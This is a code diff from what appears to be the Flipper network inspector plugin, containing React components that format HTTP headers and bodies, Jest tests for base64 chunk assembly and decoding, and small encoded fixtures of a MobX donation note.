||||
|
||||
class HeaderInspector extends Component<
|
||||
HeaderInspectorProps,
|
||||
HeaderInspectorState
|
||||
> {
|
||||
render() {
|
||||
const computedHeaders: Map<string, string> = this.props.headers.reduce(
|
||||
(sum, header) => {
|
||||
return sum.set(header.key, header.value);
|
||||
},
|
||||
new Map(),
|
||||
);
|
||||
|
||||
const rows: any = [];
|
||||
Array.from(computedHeaders.entries())
|
||||
.sort((a, b) => (a[0] < b[0] ? -1 : a[0] == b[0] ? 0 : 1))
|
||||
.forEach(([key, value]) => {
|
||||
rows.push({
|
||||
columns: {
|
||||
key: {
|
||||
value: <WrappingText>{key}</WrappingText>,
|
||||
},
|
||||
value: {
|
||||
value: <WrappingText>{value}</WrappingText>,
|
||||
},
|
||||
},
|
||||
copyText: value,
|
||||
key,
|
||||
});
|
||||
});
|
||||
|
||||
return rows.length > 0 ? (
|
||||
<ManagedTable
|
||||
multiline={true}
|
||||
columnSizes={KeyValueColumnSizes}
|
||||
columns={KeyValueColumns}
|
||||
rows={rows}
|
||||
autoHeight={true}
|
||||
floating={false}
|
||||
zebra={false}
|
||||
/>
|
||||
) : null;
|
||||
}
|
||||
}
|
||||
|
||||
const BodyContainer = styled.div({
|
||||
paddingTop: 10,
|
||||
paddingBottom: 20,
|
||||
});
|
||||
|
||||
type BodyFormatter = {
|
||||
formatRequest?: (request: Request) => any;
|
||||
formatResponse?: (request: Request, response: Response) => any;
|
||||
};
|
||||
|
||||
class RequestBodyInspector extends Component<{
|
||||
request: Request;
|
||||
formattedText: boolean;
|
||||
}> {
|
||||
render() {
|
||||
const {request, formattedText} = this.props;
|
||||
if (request.data == null || request.data.trim() === '') {
|
||||
return <Empty />;
|
||||
}
|
||||
const bodyFormatters = formattedText ? TextBodyFormatters : BodyFormatters;
|
||||
for (const formatter of bodyFormatters) {
|
||||
if (formatter.formatRequest) {
|
||||
try {
|
||||
const component = formatter.formatRequest(request);
|
||||
if (component) {
|
||||
return (
|
||||
<BodyContainer>
|
||||
{component}
|
||||
<FormattedBy>
|
||||
Formatted by {formatter.constructor.name}
|
||||
</FormattedBy>
|
||||
</BodyContainer>
|
||||
);
|
||||
}
|
||||
} catch (e) {
|
||||
console.warn(
|
||||
'BodyFormatter exception from ' + formatter.constructor.name,
|
||||
e.message,
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
return renderRawBody(request);
|
||||
}
|
||||
}
|
||||
|
||||
class ResponseBodyInspector extends Component<{
|
||||
response: Response;
|
||||
request: Request;
|
||||
formattedText: boolean;
|
||||
}> {
|
||||
render() {
|
||||
const {request, response, formattedText} = this.props;
|
||||
if (response.data == null || response.data.trim() === '') {
|
||||
return <Empty />;
|
||||
}
|
||||
const bodyFormatters = formattedText ? TextBodyFormatters : BodyFormatters;
|
||||
for (const formatter of bodyFormatters) {
|
||||
if (formatter.formatResponse) {
|
||||
try {
|
||||
const component = formatter.formatResponse(request, response);
|
||||
if (component) {
|
||||
return (
|
||||
<BodyContainer>
|
||||
{component}
|
||||
<FormattedBy>
|
||||
Formatted by {formatter.constructor.name}
|
||||
</FormattedBy>
|
||||
</BodyContainer>
|
||||
);
|
||||
}
|
||||
} catch (e) {
|
||||
console.warn(
|
||||
'BodyFormatter exception from ' + formatter.constructor.name,
|
||||
e.message,
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
return renderRawBody(response);
|
||||
}
|
||||
}
|
||||
|
||||
const FormattedBy = styled(SmallText)({
|
||||
marginTop: 8,
|
||||
fontSize: '0.7em',
|
||||
textAlign: 'center',
|
||||
display: 'block',
|
||||
});
|
||||
|
||||
const Empty = () => (
|
||||
<BodyContainer>
|
||||
<Text>(empty)</Text>
|
||||
</BodyContainer>
|
||||
);
|
||||
|
||||
function renderRawBody(container: Request | Response) {
|
||||
// TODO: we want decoding only for non-binary data! See D23403095
|
||||
const decoded = decodeBody(container);
|
||||
return (
|
||||
<BodyContainer>
|
||||
{decoded ? (
|
||||
<Text selectable wordWrap="break-word">
|
||||
{decoded}
|
||||
</Text>
|
||||
) : (
|
||||
<>
|
||||
<FormattedBy>(Failed to decode)</FormattedBy>
|
||||
<Text selectable wordWrap="break-word">
|
||||
{container.data}
|
||||
</Text>
|
||||
</>
|
||||
)}
|
||||
</BodyContainer>
|
||||
);
|
||||
}
|
||||
|
||||
const MediaContainer = styled(FlexColumn)({
|
||||
alignItems: 'center',
|
||||
justifyContent: 'center',
|
||||
width: '100%',
|
||||
});
|
||||
|
||||
type ImageWithSizeProps = {
|
||||
src: string;
|
||||
};
|
||||
|
||||
type ImageWithSizeState = {
|
||||
width: number;
|
||||
height: number;
|
||||
};
|
||||
|
||||
class ImageWithSize extends Component<ImageWithSizeProps, ImageWithSizeState> {
|
||||
static Image = styled.img({
|
||||
objectFit: 'scale-down',
|
||||
maxWidth: '100%',
|
||||
marginBottom: 10,
|
||||
});
|
||||
|
||||
static Text = styled(Text)({
|
||||
color: colors.dark70,
|
||||
fontSize: 14,
|
||||
});
|
||||
|
||||
constructor(props: ImageWithSizeProps, context: any) {
|
||||
super(props, context);
|
||||
this.state = {
|
||||
width: 0,
|
||||
height: 0,
|
||||
};
|
||||
}
|
||||
|
||||
componentDidMount() {
|
||||
const image = new Image();
|
||||
image.src = this.props.src;
|
||||
image.onload = () => {
|
||||
image.width;
|
||||
image.height;
|
||||
this.setState({
|
||||
width: image.width,
|
||||
height: image.height,
|
||||
});
|
||||
};
|
||||
}
|
||||
|
||||
render() {
|
||||
return (
|
||||
<MediaContainer>
|
||||
<ImageWithSize.Image src={this.props.src} />
|
||||
<ImageWithSize.Text>
|
||||
{this.state.width} x {this.state.height}
|
||||
</ImageWithSize.Text>
|
||||
</MediaContainer>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
class ImageFormatter {
|
||||
formatResponse = (request: Request, response: Response) => {
|
||||
if (getHeaderValue(response.headers, 'content-type').startsWith('image/')) {
|
||||
if (response.data) {
|
||||
const src = `data:${getHeaderValue(
|
||||
response.headers,
|
||||
'content-type',
|
||||
)};base64,${response.data}`;
|
||||
return <ImageWithSize src={src} />;
|
||||
} else {
|
||||
// fallback to using the request url
|
||||
return <ImageWithSize src={request.url} />;
|
||||
}
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
class VideoFormatter {
|
||||
static Video = styled.video({
|
||||
maxWidth: 500,
|
||||
maxHeight: 500,
|
||||
});
|
||||
|
||||
formatResponse = (request: Request, response: Response) => {
|
||||
const contentType = getHeaderValue(response.headers, 'content-type');
|
||||
if (contentType.startsWith('video/')) {
|
||||
return (
|
||||
<MediaContainer>
|
||||
<VideoFormatter.Video controls={true}>
|
||||
<source src={request.url} type={contentType} />
|
||||
</VideoFormatter.Video>
|
||||
</MediaContainer>
|
||||
);
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
class JSONText extends Component<{children: any}> {
|
||||
static NoScrollbarText = styled(Text)({
|
||||
overflowY: 'hidden',
|
||||
});
|
||||
|
||||
render() {
|
||||
const jsonObject = this.props.children;
|
||||
return (
|
||||
<JSONText.NoScrollbarText code whiteSpace="pre" selectable>
|
||||
{JSON.stringify(jsonObject, null, 2)}
|
||||
{'\n'}
|
||||
</JSONText.NoScrollbarText>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
class XMLText extends Component<{body: any}> {
|
||||
static NoScrollbarText = styled(Text)({
|
||||
overflowY: 'hidden',
|
||||
});
|
||||
|
||||
render() {
|
||||
const xmlPretty = xmlBeautifier(this.props.body);
|
||||
return (
|
||||
<XMLText.NoScrollbarText code whiteSpace="pre" selectable>
|
||||
{xmlPretty}
|
||||
{'\n'}
|
||||
</XMLText.NoScrollbarText>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
class JSONTextFormatter {
|
||||
formatRequest = (request: Request) => {
|
||||
return this.format(
|
||||
decodeBody(request),
|
||||
getHeaderValue(request.headers, 'content-type'),
|
||||
);
|
||||
};
|
||||
|
||||
formatResponse = (_request: Request, response: Response) => {
|
||||
return this.format(
|
||||
decodeBody(response),
|
||||
getHeaderValue(response.headers, 'content-type'),
|
||||
);
|
||||
};
|
||||
|
||||
format = (body: string, contentType: string) => {
|
||||
if (
|
||||
contentType.startsWith('application/json') ||
|
||||
contentType.startsWith('application/hal+json') ||
|
||||
contentType.startsWith('text/javascript') ||
|
||||
contentType.startsWith('application/x-fb-flatbuffer')
|
||||
) {
|
||||
try {
|
||||
const data = JSON.parse(body);
|
||||
return <JSONText>{data}</JSONText>;
|
||||
} catch (SyntaxError) {
|
||||
// Multiple top level JSON roots, map them one by one
|
||||
return body
|
||||
.split('\n')
|
||||
.map((json) => JSON.parse(json))
|
||||
.map((data, idx) => <JSONText key={idx}>{data}</JSONText>);
|
||||
}
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
class XMLTextFormatter {
|
||||
formatRequest = (request: Request) => {
|
||||
return this.format(
|
||||
decodeBody(request),
|
||||
getHeaderValue(request.headers, 'content-type'),
|
||||
);
|
||||
};
|
||||
|
||||
formatResponse = (_request: Request, response: Response) => {
|
||||
return this.format(
|
||||
decodeBody(response),
|
||||
getHeaderValue(response.headers, 'content-type'),
|
||||
);
|
||||
};
|
||||
|
||||
format = (body: string, contentType: string) => {
|
||||
if (contentType.startsWith('text/html')) {
|
||||
return <XMLText body={body} />;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
class JSONFormatter {
|
||||
formatRequest = (request: Request) => {
|
||||
return this.format(
|
||||
decodeBody(request),
|
||||
getHeaderValue(request.headers, 'content-type'),
|
||||
);
|
||||
};
|
||||
|
||||
formatResponse = (_request: Request, response: Response) => {
|
||||
return this.format(
|
||||
decodeBody(response),
|
||||
getHeaderValue(response.headers, 'content-type'),
|
||||
);
|
||||
};
|
||||
|
||||
format = (body: string, contentType: string) => {
|
||||
if (
|
||||
contentType.startsWith('application/json') ||
|
||||
contentType.startsWith('application/hal+json') ||
|
||||
contentType.startsWith('text/javascript') ||
|
||||
contentType.startsWith('application/x-fb-flatbuffer')
|
||||
) {
|
||||
try {
|
||||
const data = JSON.parse(body);
|
||||
return (
|
||||
<ManagedDataInspector
|
||||
collapsed={true}
|
||||
expandRoot={true}
|
||||
data={data}
|
||||
/>
|
||||
);
|
||||
} catch (SyntaxError) {
|
||||
// Multiple top level JSON roots, map them one by one
|
||||
const roots = body.split('\n');
|
||||
return (
|
||||
<ManagedDataInspector
|
||||
collapsed={true}
|
||||
expandRoot={true}
|
||||
data={roots.map((json) => JSON.parse(json))}
|
||||
/>
|
||||
);
|
||||
}
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
class LogEventFormatter {
|
||||
formatRequest = (request: Request) => {
|
||||
if (request.url.indexOf('logging_client_event') > 0) {
|
||||
const data = querystring.parse(decodeBody(request));
|
||||
if (typeof data.message === 'string') {
|
||||
data.message = JSON.parse(data.message);
|
||||
}
|
||||
return <ManagedDataInspector expandRoot={true} data={data} />;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
class GraphQLBatchFormatter {
|
||||
formatRequest = (request: Request) => {
|
||||
if (request.url.indexOf('graphqlbatch') > 0) {
|
||||
const data = querystring.parse(decodeBody(request));
|
||||
if (typeof data.queries === 'string') {
|
||||
data.queries = JSON.parse(data.queries);
|
||||
}
|
||||
return <ManagedDataInspector expandRoot={true} data={data} />;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
class GraphQLFormatter {
|
||||
parsedServerTimeForFirstFlush = (data: any) => {
|
||||
const firstResponse =
|
||||
Array.isArray(data) && data.length > 0 ? data[0] : data;
|
||||
if (!firstResponse) {
|
||||
return null;
|
||||
}
|
||||
|
||||
const extensions = firstResponse['extensions'];
|
||||
if (!extensions) {
|
||||
return null;
|
||||
}
|
||||
const serverMetadata = extensions['server_metadata'];
|
||||
if (!serverMetadata) {
|
||||
return null;
|
||||
}
|
||||
const requestStartMs = serverMetadata['request_start_time_ms'];
|
||||
const timeAtFlushMs = serverMetadata['time_at_flush_ms'];
|
||||
return (
|
||||
<WrappingText>
|
||||
{'Server wall time for initial response (ms): ' +
|
||||
(timeAtFlushMs - requestStartMs)}
|
||||
</WrappingText>
|
||||
);
|
||||
};
|
||||
formatRequest = (request: Request) => {
|
||||
if (request.url.indexOf('graphql') > 0) {
|
||||
const decoded = decodeBody(request);
|
||||
if (!decoded) {
|
||||
return undefined;
|
||||
}
|
||||
const data = querystring.parse(decoded);
|
||||
if (typeof data.variables === 'string') {
|
||||
data.variables = JSON.parse(data.variables);
|
||||
}
|
||||
if (typeof data.query_params === 'string') {
|
||||
data.query_params = JSON.parse(data.query_params);
|
||||
}
|
||||
return <ManagedDataInspector expandRoot={true} data={data} />;
|
||||
}
|
||||
};
|
||||
|
||||
formatResponse = (_request: Request, response: Response) => {
|
||||
return this.format(
|
||||
decodeBody(response),
|
||||
getHeaderValue(response.headers, 'content-type'),
|
||||
);
|
||||
};
|
||||
|
||||
format = (body: string, contentType: string) => {
|
||||
if (
|
||||
contentType.startsWith('application/json') ||
|
||||
contentType.startsWith('application/hal+json') ||
|
||||
contentType.startsWith('text/javascript') ||
|
||||
contentType.startsWith('text/html') ||
|
||||
contentType.startsWith('application/x-fb-flatbuffer')
|
||||
) {
|
||||
try {
|
||||
const data = JSON.parse(body);
|
||||
return (
|
||||
<div>
|
||||
{this.parsedServerTimeForFirstFlush(data)}
|
||||
<ManagedDataInspector
|
||||
collapsed={true}
|
||||
expandRoot={true}
|
||||
data={data}
|
||||
/>
|
||||
</div>
|
||||
);
|
||||
} catch (SyntaxError) {
|
||||
// Multiple top level JSON roots, map them one by one
|
||||
const parsedResponses = body
|
||||
.replace(/}{/g, '}\r\n{')
|
||||
.split('\n')
|
||||
.map((json) => JSON.parse(json));
|
||||
return (
|
||||
<div>
|
||||
{this.parsedServerTimeForFirstFlush(parsedResponses)}
|
||||
<ManagedDataInspector
|
||||
collapsed={true}
|
||||
expandRoot={true}
|
||||
data={parsedResponses}
|
||||
/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
class FormUrlencodedFormatter {
|
||||
formatRequest = (request: Request) => {
|
||||
const contentType = getHeaderValue(request.headers, 'content-type');
|
||||
if (contentType.startsWith('application/x-www-form-urlencoded')) {
|
||||
const decoded = decodeBody(request);
|
||||
if (!decoded) {
|
||||
return undefined;
|
||||
}
|
||||
return (
|
||||
<ManagedDataInspector
|
||||
expandRoot={true}
|
||||
data={querystring.parse(decoded)}
|
||||
/>
|
||||
);
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
class BinaryFormatter {
|
||||
formatRequest(request: Request) {
|
||||
return this.format(request);
|
||||
}
|
||||
|
||||
formatResponse(_request: Request, response: Response) {
|
||||
return this.format(response);
|
||||
}
|
||||
|
||||
format(container: Request | Response) {
|
||||
if (
|
||||
getHeaderValue(container.headers, 'content-type') ===
|
||||
'application/octet-stream'
|
||||
) {
|
||||
return '(binary data)'; // we could offer a download button here?
|
||||
}
|
||||
return undefined;
|
||||
}
|
||||
}
|
||||
|
||||
const BodyFormatters: Array<BodyFormatter> = [
|
||||
new ImageFormatter(),
|
||||
new VideoFormatter(),
|
||||
new LogEventFormatter(),
|
||||
new GraphQLBatchFormatter(),
|
||||
new GraphQLFormatter(),
|
||||
new JSONFormatter(),
|
||||
new FormUrlencodedFormatter(),
|
||||
new XMLTextFormatter(),
|
||||
new BinaryFormatter(),
|
||||
];
|
||||
|
||||
const TextBodyFormatters: Array<BodyFormatter> = [new JSONTextFormatter()];
|
||||
|
||||
class InsightsInspector extends Component<{insights: Insights}> {
|
||||
formatTime(value: number): string {
|
||||
return `${value} ms`;
|
||||
}
|
||||
|
||||
formatSpeed(value: number): string {
|
||||
return `${formatBytes(value)}/sec`;
|
||||
}
|
||||
|
||||
formatRetries(retry: RetryInsights): string {
|
||||
const timesWord = retry.limit === 1 ? 'time' : 'times';
|
||||
|
||||
return `${this.formatTime(retry.timeSpent)} (${
|
||||
retry.count
|
||||
} ${timesWord} out of ${retry.limit})`;
|
||||
}
|
||||
|
||||
buildRow<T>(
|
||||
name: string,
|
||||
value: T | null | undefined,
|
||||
formatter: (value: T) => string,
|
||||
): any {
|
||||
return value
|
||||
? {
|
||||
columns: {
|
||||
key: {
|
||||
value: <WrappingText>{name}</WrappingText>,
|
||||
},
|
||||
value: {
|
||||
value: <WrappingText>{formatter(value)}</WrappingText>,
|
||||
},
|
||||
},
|
||||
copyText: () => `${name}: ${formatter(value)}`,
|
||||
key: name,
|
||||
}
|
||||
: null;
|
||||
}
|
||||
|
||||
render() {
|
||||
const insights = this.props.insights;
|
||||
const {buildRow, formatTime, formatSpeed, formatRetries} = this;
|
||||
|
||||
const rows = [
|
||||
buildRow('Retries', insights.retries, formatRetries.bind(this)),
|
||||
buildRow('DNS lookup time', insights.dnsLookupTime, formatTime),
|
||||
buildRow('Connect time', insights.connectTime, formatTime),
|
||||
buildRow('SSL handshake time', insights.sslHandshakeTime, formatTime),
|
||||
buildRow('Pretransfer time', insights.preTransferTime, formatTime),
|
||||
buildRow('Redirect time', insights.redirectsTime, formatTime),
|
||||
buildRow('First byte wait time', insights.timeToFirstByte, formatTime),
|
||||
buildRow('Data transfer time', insights.transferTime, formatTime),
|
||||
buildRow('Post processing time', insights.postProcessingTime, formatTime),
|
||||
buildRow('Bytes transfered', insights.bytesTransfered, formatBytes),
|
||||
buildRow('Transfer speed', insights.transferSpeed, formatSpeed),
|
||||
].filter((r) => r != null);
|
||||
|
||||
return rows.length > 0 ? (
|
||||
<ManagedTable
|
||||
multiline={true}
|
||||
columnSizes={KeyValueColumnSizes}
|
||||
columns={KeyValueColumns}
|
||||
rows={rows}
|
||||
autoHeight={true}
|
||||
floating={false}
|
||||
zebra={false}
|
||||
/>
|
||||
) : null;
|
||||
}
|
||||
}
|
||||
175
desktop/plugins/public/network/__tests__/chunks.node.tsx
Normal file
175
desktop/plugins/public/network/__tests__/chunks.node.tsx
Normal file
@@ -0,0 +1,175 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {combineBase64Chunks} from '../chunks';
|
||||
import {TestUtils, createState} from 'flipper-plugin';
|
||||
import * as NetworkPlugin from '../index';
|
||||
import {assembleChunksIfResponseIsComplete} from '../chunks';
|
||||
import path from 'path';
|
||||
import {PartialResponses, Response} from '../types';
|
||||
import {Base64} from 'js-base64';
|
||||
import * as fs from 'fs';
|
||||
import {promisify} from 'util';
|
||||
|
||||
const readFile = promisify(fs.readFile);
|
||||
|
||||
test('Test assembling base64 chunks', () => {
|
||||
const message = 'wassup john?';
|
||||
const chunks = message.match(/.{1,2}/g)?.map(btoa);
|
||||
|
||||
if (chunks === undefined) {
|
||||
throw new Error('invalid chunks');
|
||||
}
|
||||
|
||||
const output = combineBase64Chunks(chunks);
|
||||
expect(Base64.decode(output)).toBe('wassup john?');
|
||||
});
|
||||
|
||||
test('Reducer correctly adds initial chunk', () => {
|
||||
const {instance, sendEvent} = TestUtils.startPlugin(NetworkPlugin);
|
||||
expect(instance.partialResponses.get()).toEqual({});
|
||||
|
||||
sendEvent('partialResponse', {
|
||||
id: '1',
|
||||
timestamp: 123,
|
||||
status: 200,
|
||||
data: 'hello',
|
||||
reason: 'nothing',
|
||||
headers: [],
|
||||
isMock: false,
|
||||
insights: null,
|
||||
index: 0,
|
||||
totalChunks: 2,
|
||||
});
|
||||
|
||||
expect(instance.partialResponses.get()['1']).toMatchInlineSnapshot(`
|
||||
Object {
|
||||
"followupChunks": Object {},
|
||||
"initialResponse": Object {
|
||||
"data": "hello",
|
||||
"headers": Array [],
|
||||
"id": "1",
|
||||
"index": 0,
|
||||
"insights": null,
|
||||
"isMock": false,
|
||||
"reason": "nothing",
|
||||
"status": 200,
|
||||
"timestamp": 123,
|
||||
"totalChunks": 2,
|
||||
},
|
||||
}
|
||||
`);
|
||||
});
|
||||
|
||||
test('Reducer correctly adds followup chunk', () => {
|
||||
const {instance, sendEvent} = TestUtils.startPlugin(NetworkPlugin);
|
||||
expect(instance.partialResponses.get()).toEqual({});
|
||||
|
||||
sendEvent('partialResponse', {
|
||||
id: '1',
|
||||
totalChunks: 2,
|
||||
index: 1,
|
||||
data: 'hello',
|
||||
});
|
||||
expect(instance.partialResponses.get()['1']).toMatchInlineSnapshot(`
|
||||
Object {
|
||||
"followupChunks": Object {
|
||||
"1": "hello",
|
||||
},
|
||||
}
|
||||
`);
|
||||
});
|
||||
|
||||
test('Reducer correctly combines initial response and followup chunk', () => {
|
||||
const {instance, sendEvent} = TestUtils.startPlugin(NetworkPlugin);
|
||||
instance.partialResponses.set({
|
||||
'1': {
|
||||
followupChunks: {},
|
||||
initialResponse: {
|
||||
data: 'aGVs',
|
||||
headers: [],
|
||||
id: '1',
|
||||
insights: null,
|
||||
isMock: false,
|
||||
reason: 'nothing',
|
||||
status: 200,
|
||||
timestamp: 123,
|
||||
index: 0,
|
||||
totalChunks: 2,
|
||||
},
|
||||
},
|
||||
});
|
||||
expect(instance.responses.get()).toEqual({});
|
||||
sendEvent('partialResponse', {
|
||||
id: '1',
|
||||
totalChunks: 2,
|
||||
index: 1,
|
||||
data: 'bG8=',
|
||||
});
|
||||
|
||||
expect(instance.partialResponses.get()).toEqual({});
|
||||
expect(instance.responses.get()['1']).toMatchInlineSnapshot(`
|
||||
Object {
|
||||
"data": "aGVsbG8=",
|
||||
"headers": Array [],
|
||||
"id": "1",
|
||||
"index": 0,
|
||||
"insights": null,
|
||||
"isMock": false,
|
||||
"reason": "nothing",
|
||||
"status": 200,
|
||||
"timestamp": 123,
|
||||
"totalChunks": 2,
|
||||
}
|
||||
`);
|
||||
});
|
||||
|
||||
async function readJsonFixture(filename: string) {
|
||||
return JSON.parse(
|
||||
await readFile(path.join(__dirname, 'fixtures', filename), 'utf-8'),
|
||||
);
|
||||
}
|
||||
|
||||
test('handle small binary payloads correctly', async () => {
|
||||
const input = await readJsonFixture('partial_failing_example.json');
|
||||
const partials = createState<PartialResponses>({
|
||||
test: input,
|
||||
});
|
||||
const responses = createState<Record<string, Response>>({});
|
||||
expect(() => {
|
||||
// this used to throw
|
||||
assembleChunksIfResponseIsComplete(partials, responses, 'test');
|
||||
}).not.toThrow();
|
||||
});
|
||||
|
||||
test('handle non binary payloads correcty', async () => {
|
||||
const input = await readJsonFixture('partial_utf8_before.json');
|
||||
const partials = createState<PartialResponses>({
|
||||
test: input,
|
||||
});
|
||||
const responses = createState<Record<string, Response>>({});
|
||||
expect(() => {
|
||||
assembleChunksIfResponseIsComplete(partials, responses, 'test');
|
||||
}).not.toThrow();
|
||||
const expected = await readJsonFixture('partial_utf8_after.json');
|
||||
expect(responses.get()['test']).toEqual(expected);
|
||||
});
|
||||
|
||||
test('handle binary payloads correcty', async () => {
|
||||
const input = await readJsonFixture('partial_binary_before.json');
|
||||
const partials = createState<PartialResponses>({
|
||||
test: input,
|
||||
});
|
||||
const responses = createState<Record<string, Response>>({});
|
||||
expect(() => {
|
||||
assembleChunksIfResponseIsComplete(partials, responses, 'test');
|
||||
}).not.toThrow();
|
||||
const expected = await readJsonFixture('partial_binary_after.json');
|
||||
expect(responses.get()['test']).toEqual(expected);
|
||||
});
|
||||
101
desktop/plugins/public/network/__tests__/encoding.node.tsx
Normal file
101
desktop/plugins/public/network/__tests__/encoding.node.tsx
Normal file
@@ -0,0 +1,101 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {readFile} from 'fs';
|
||||
import path from 'path';
|
||||
import {decodeBody} from '../utils';
|
||||
import {Response} from '../types';
|
||||
import {promisify} from 'util';
|
||||
import {readFileSync} from 'fs';
|
||||
|
||||
async function createMockResponse(input: string): Promise<Response> {
|
||||
const inputData = await promisify(readFile)(
|
||||
path.join(__dirname, 'fixtures', input),
|
||||
'ascii',
|
||||
);
|
||||
const gzip = input.includes('gzip'); // if gzip in filename, assume it is a gzipped body
|
||||
const testResponse: Response = {
|
||||
id: '0',
|
||||
timestamp: 0,
|
||||
status: 200,
|
||||
reason: 'dunno',
|
||||
headers: gzip
|
||||
? [
|
||||
{
|
||||
key: 'Content-Encoding',
|
||||
value: 'gzip',
|
||||
},
|
||||
]
|
||||
: [],
|
||||
data: inputData.replace(/\s+?/g, '').trim(), // remove whitespace caused by copy past of the base64 data,
|
||||
isMock: false,
|
||||
insights: undefined,
|
||||
totalChunks: 1,
|
||||
index: 0,
|
||||
};
|
||||
return testResponse;
|
||||
}
|
||||
|
||||
describe('network data encoding', () => {
|
||||
const donatingExpected = readFileSync(
|
||||
path.join(__dirname, 'fixtures', 'donating.md'),
|
||||
'utf-8',
|
||||
).trim();
|
||||
const tinyLogoExpected = readFileSync(
|
||||
path.join(__dirname, 'fixtures', 'tiny_logo.png'),
|
||||
);
|
||||
const tinyLogoBase64Expected = readFileSync(
|
||||
path.join(__dirname, 'fixtures', 'tiny_logo.base64.txt'),
|
||||
'utf-8',
|
||||
);
|
||||
|
||||
test('donating.md.utf8.ios.txt', async () => {
|
||||
const response = await createMockResponse('donating.md.utf8.ios.txt');
|
||||
expect(decodeBody(response).trim()).toEqual(donatingExpected);
|
||||
});
|
||||
|
||||
test('donating.md.utf8.gzip.ios.txt', async () => {
|
||||
const response = await createMockResponse('donating.md.utf8.gzip.ios.txt');
|
||||
expect(decodeBody(response).trim()).toEqual(donatingExpected);
|
||||
});
|
||||
|
||||
test('donating.md.utf8.android.txt', async () => {
|
||||
const response = await createMockResponse('donating.md.utf8.android.txt');
|
||||
expect(decodeBody(response).trim()).toEqual(donatingExpected);
|
||||
});
|
||||
|
||||
test('donating.md.utf8.gzip.android.txt', async () => {
|
||||
const response = await createMockResponse(
|
||||
'donating.md.utf8.gzip.android.txt',
|
||||
);
|
||||
expect(decodeBody(response).trim()).toEqual(donatingExpected);
|
||||
});
|
||||
|
||||
test('tiny_logo.android.txt', async () => {
|
||||
const response = await createMockResponse('tiny_logo.android.txt');
|
||||
expect(response.data).toEqual(tinyLogoExpected.toString('base64'));
|
||||
});
|
||||
|
||||
test('tiny_logo.android.txt - encoded', async () => {
|
||||
const response = await createMockResponse('tiny_logo.android.txt');
|
||||
// this compares to the correct base64 encoded src tag of the img in Flipper UI
|
||||
expect(response.data).toEqual(tinyLogoBase64Expected.trim());
|
||||
});
|
||||
|
||||
test('tiny_logo.ios.txt', async () => {
|
||||
const response = await createMockResponse('tiny_logo.ios.txt');
|
||||
expect(response.data).toEqual(tinyLogoExpected.toString('base64'));
|
||||
});
|
||||
|
||||
test('tiny_logo.ios.txt - encoded', async () => {
|
||||
const response = await createMockResponse('tiny_logo.ios.txt');
|
||||
// this compares to the correct base64 encoded src tag of the img in Flipper UI
|
||||
expect(response.data).toEqual(tinyLogoBase64Expected.trim());
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,3 @@
|
||||
# 捐赠
|
||||
|
||||
MobX 是使您的项目成功的关键吗? 使用[捐赠按钮](https://mobxjs.github.io/mobx/donate.html)分享胜利!如果你留下一个名字,它将被添加到赞助商列表。
|
||||
@@ -0,0 +1 @@
|
||||
IyDmjZDotaAKCk1vYlgg5piv5L2/5oKo55qE6aG555uu5oiQ5Yqf55qE5YWz6ZSu5ZCX77yfIOS9 v+eUqFvmjZDotaDmjInpkq5dKGh0dHBzOi8vbW9ieGpzLmdpdGh1Yi5pby9tb2J4L2RvbmF0ZS5o dG1sKeWIhuS6q+iDnOWIqe+8geWmguaenOS9oOeVmeS4i+S4gOS4quWQjeWtl++8jOWug+Wwhuii q+a3u+WKoOWIsOi1nuWKqeWVhuWIl+ihqOOAggo=
|
||||
@@ -0,0 +1 @@
|
||||
H4sIAAAAAAAAAyWNXQvBUByH7/cpVm642e59B/dKLiwywpSjXDKsY6gl8hrjQkNGSeYtH8b5n51d +QoWl7+n5+kX4GnXYGeT4yKKFOXp6ECeL6pa7qThLa/u1KbYAH3hT2ievL4NxvDzWPC+5Pat2L+l nZbXs+NBGaFiKSyKeUWqZEtCOoPksiRklB8Qk0ohgVKCjPK5EGCN3HasPgO8+TxqsFbpfEaepjsY E6dNnCpxtmB0Ye+fdcCuw1Fjqx293EE3AR/ZeQ76BgYa4CFbWu+qyn0Bz88iqcgAAAA=
|
||||
@@ -0,0 +1 @@
|
||||
IyDmjZDotaAKCk1vYlgg5piv5L2/5oKo55qE6aG555uu5oiQ5Yqf55qE5YWz6ZSu5ZCX77yfIOS9v+eUqFvmjZDotaDmjInpkq5dKGh0dHBzOi8vbW9ieGpzLmdpdGh1Yi5pby9tb2J4L2RvbmF0ZS5odG1sKeWIhuS6q+iDnOWIqe+8geWmguaenOS9oOeVmeS4i+S4gOS4quWQjeWtl++8jOWug+Wwhuiiq+a3u+WKoOWIsOi1nuWKqeWVhuWIl+ihqOOAggo=
|
||||
@@ -0,0 +1 @@
|
||||
IyDmjZDotaAKCk1vYlgg5piv5L2/5oKo55qE6aG555uu5oiQ5Yqf55qE5YWz6ZSu5ZCX77yfIOS9v+eUqFvmjZDotaDmjInpkq5dKGh0dHBzOi8vbW9ieGpzLmdpdGh1Yi5pby9tb2J4L2RvbmF0ZS5odG1sKeWIhuS6q+iDnOWIqe+8geWmguaenOS9oOeVmeS4i+S4gOS4quWQjeWtl++8jOWug+Wwhuiiq+a3u+WKoOWIsOi1nuWKqeWVhuWIl+ihqOOAggo=
|
||||
File diff suppressed because one or more lines are too long
